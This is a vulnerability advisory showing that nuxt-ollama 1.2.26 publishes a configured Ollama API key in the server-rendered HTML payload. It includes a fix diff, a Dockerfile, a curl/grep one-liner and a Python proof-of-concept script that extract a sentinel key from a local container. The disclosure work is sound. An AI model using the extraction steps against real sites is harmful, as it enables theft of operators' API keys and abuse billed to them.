Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients

Public Runtime Config Exposes Ollama API Key to Browser Clients

Summary

nuxt-ollama@1.2.26 unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.

Details

The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:

// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)

Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:

<script>
window.__NUXT__={};
window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"  // ← secret exposed to browser
    }
  }
}
</script>

The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:

// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
  headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })

The complete data flow from source to sink:

1. README.md:71-80 — official documentation instructs users to set ollama.api_key for cloud Ollama models
2. src/module.ts:35-36 — source: api_key is merged into runtimeConfig.public.ollama
3. Nuxt SSR runtime — runtimeConfig.public is serialized into HTML __NUXT__ payload
4. src/runtime/composables/useOllama.ts:6 — browser composable reads useRuntimeConfig().public.ollama
5. src/runtime/composables/useOllama.ts:8-10 — sink: options.api_key becomes headers.Authorization in client-side HTTP request

The api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.

Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:

-    const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
-    runtimeConfig.public.ollama = defu(currentConfig, _options)
+    const { api_key, ...publicOptions } = _options
+    const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
+    runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+    const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
+    runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })

The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.

PoC

Prerequisites: Docker, Python 3

Step 1 — Build the vulnerable Nuxt app container

docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t nuxt-ollama-vuln-001 \
  /path/to/npmAI_735_thoda-dev__nuxt-ollama

The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:

export default defineNuxtConfig({
  modules: ['../src/module'],
  compatibilityDate: '2025-10-29',
  devtools: { enabled: false },
  ollama: {
    protocol: 'https',
    host: 'api.ollama.com',
    api_key: 'LEAKED_TEST_KEY_123'   // sentinel key
  }
})

Step 2 — Start the container

docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

Step 3 — Retrieve the API key with a single unauthenticated HTTP request

curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Expected: api_key":"LEAKED_TEST_KEY_123"

Automated PoC script

python3 /path/to/vuln-001/poc.py

Expected output (confirmed in dynamic reproduction):

window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"
    }
  }
}

The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.

Impact

This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.

Who is impacted:

• Operators/developers who follow the official documentation to configure ollama.api_key for cloud Ollama models. They are unaware that the key is being published to every visitor.
• End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.

Potential consequences of key theft:

• Unauthorized use of the Ollama cloud API at the operator's cost
• Rate-limit exhaustion or quota abuse
• Data exfiltration if the compromised key has read access to stored models or conversations
• Reputational damage and service disruption for the affected application

The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
#   src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)
#   This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes
#   into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).
#   Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.

FROM node:20-alpine

# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
RUN npm install -g pnpm@10.33.4

WORKDIR /app

# Copy the nuxt-ollama source repository
COPY repo/ ./

# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile

# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
  modules: ['../src/module'],
  compatibilityDate: '2025-10-29',
  devtools: { enabled: false },
  ollama: {
    protocol: 'https',
    host: 'api.ollama.com',
    api_key: 'LEAKED_TEST_KEY_123'
  }
})
EOF

# Replace app.vue with a minimal template that does NOT make Ollama API calls.
# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.
# The original playground app.vue calls useFetch('/api/ollama') which requires
# a live Ollama server; replacing it keeps this PoC self-contained.
RUN cat > playground/app.vue << 'EOF'
<template>
  <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div>
</template>
EOF

# Build the playground in production SSR mode.
# During the module setup() call, src/module.ts:36 merges all _options (including
# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes
# runtimeConfig.public into the HTML response for client-side hydration.
RUN pnpm exec nuxi build playground

EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO_HOST=0.0.0.0
ENV NITRO_PORT=3000

CMD ["node", "/app/playground/.output/server/index.mjs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Title   : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE     : CWE-522 - Insufficiently Protected Credentials
CVSS    : 7.5 High  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack summary
--------------
When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80
for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
entire _options object—api_key included—into runtimeConfig.public.ollama.

Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
embeds it in the HTML response inside a <script> payload block (__NUXT__ /
__NUXT_DATA__).  Any unauthenticated HTTP GET request to the home page therefore
returns the api_key in plain text, with no authentication required.

This script:
  1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.
  2. Starts the image as a local container.
  3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
  4. Prints an evidence excerpt and writes phase2_result.json.
"""

import json
import os
import subprocess
import sys
import time
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET_KEY      = "LEAKED_TEST_KEY_123"
IMAGE_NAME      = "nuxt-ollama-vuln-001"
CONTAINER_NAME  = "nuxt-ollama-poc-001"
HOST            = "127.0.0.1"
PORT            = 3000
URL             = f"http://{HOST}:{PORT}/"

SCRIPT_DIR  = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR  = os.path.dirname(SCRIPT_DIR)       # build context (contains repo/)
DOCKERFILE  = os.path.join(SCRIPT_DIR, "Dockerfile")
RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")

BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
RUN_CMD   = (
    f"docker run -d --name {CONTAINER_NAME} "
    f"-p {PORT}:{PORT} {IMAGE_NAME}"
)
POC_CMD   = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def run_cmd(cmd_list, check=True, capture=False):
    """Execute a command, printing it first; return CompletedProcess."""
    print(f"[cmd] {' '.join(cmd_list)}", flush=True)
    return subprocess.run(
        cmd_list,
        check=check,
        capture_output=capture,
        text=bool(capture),
    )


def cleanup_container():
    """Remove the PoC container if it already exists."""
    subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)


def wait_for_server(url, timeout=180, interval=5):
    """Poll url until it returns a non-5xx response or the timeout expires."""
    print(f"[*] Waiting for server at {url}  (timeout={timeout}s)", flush=True)
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=5) as resp:
                if resp.status < 500:
                    print(f"[+] Server up — HTTP {resp.status}", flush=True)
                    return True
        except Exception:
            pass
        time.sleep(interval)
    return False


def save_result(data):
    """Write phase2_result.json and echo its path."""
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, ensure_ascii=False, indent=2)
    print(f"\n[*] Result saved to {RESULT_FILE}", flush=True)


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main():
    print("=" * 66)
    print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
    print("=" * 66, flush=True)

    cleanup_container()

    # ------------------------------------------------------------------
    # Step 1 — Build Docker image
    # ------------------------------------------------------------------
    print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
    build_rc = run_cmd(
        ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
        check=False,
    ).returncode

    if build_rc != 0:
        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      f"docker build exited with returncode={build_rc}",
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        sys.exit(1)

    print("[+] Image built successfully.", flush=True)

    # ------------------------------------------------------------------
    # Step 2 — Start the container
    # ------------------------------------------------------------------
    print("\n[STEP 2] Starting container ...", flush=True)
    run_rc = run_cmd(
        ["docker", "run", "-d",
         "--name", CONTAINER_NAME,
         "-p", f"{PORT}:{PORT}",
         IMAGE_NAME],
        check=False,
    ).returncode

    if run_rc != 0:
        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        "Docker 컨테이너 실행 실패.",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      f"docker run exited with returncode={run_rc}",
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        sys.exit(1)

    # ------------------------------------------------------------------
    # Step 3 — Wait for Nuxt SSR server
    # ------------------------------------------------------------------
    print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
    if not wait_for_server(URL, timeout=180):
        logs = subprocess.run(
            ["docker", "logs", CONTAINER_NAME],
            capture_output=True, text=True,
        )
        log_snippet = (logs.stdout + logs.stderr)[-2000:]
        print("[!] Server did not respond within timeout. Container logs:\n", log_snippet)
        save_result({
            "passed":        False,
            "verdict":       "INCOMPLETE",
            "reason":        "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      log_snippet,
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)

    # ------------------------------------------------------------------
    # Step 4 — Fetch the rendered HTML page
    # ------------------------------------------------------------------
    print(f"\n[STEP 4] GET {URL} ...", flush=True)
    try:
        with urllib.request.urlopen(URL, timeout=15) as resp:
            html = resp.read().decode("utf-8", errors="replace")
    except Exception as exc:
        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        f"HTTP 요청 실패: {exc}",
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      str(exc),
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)

    print(f"[+] Received {len(html)} bytes.", flush=True)

    # ------------------------------------------------------------------
    # Step 5 — Verify TARGET_KEY is present in the HTTP response body
    # ------------------------------------------------------------------
    print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True)

    if TARGET_KEY in html:
        idx   = html.index(TARGET_KEY)
        start = max(0, idx - 200)
        end   = min(len(html), idx + len(TARGET_KEY) + 200)
        excerpt = html[start:end].strip()

        print(f"\n{'='*66}")
        print(f"[PASS]  VULNERABILITY CONFIRMED")
        print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.")
        print(f"{'='*66}")
        print(f"Evidence excerpt:\n\n{excerpt}\n")
        print(f"{'='*66}")

        save_result({
            "passed":        True,
            "verdict":       "PASS",
            "reason":        (
                "nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 "
                "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
                "__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
                "LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
            ),
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      excerpt,
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(0)

    else:
        snippet = html[:3000]
        print(f"[FAIL]  '{TARGET_KEY}' NOT found in the HTTP response body.")
        print("--- HTML (first 3000 chars) ---")
        print(snippet)

        save_result({
            "passed":        False,
            "verdict":       "FAIL",
            "reason":        (
                f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
                "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
            ),
            "build_command": BUILD_CMD,
            "run_command":   RUN_CMD,
            "poc_command":   POC_CMD,
            "evidence":      snippet[:1500],
            "artifacts":     ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)


if __name__ == "__main__":
    main()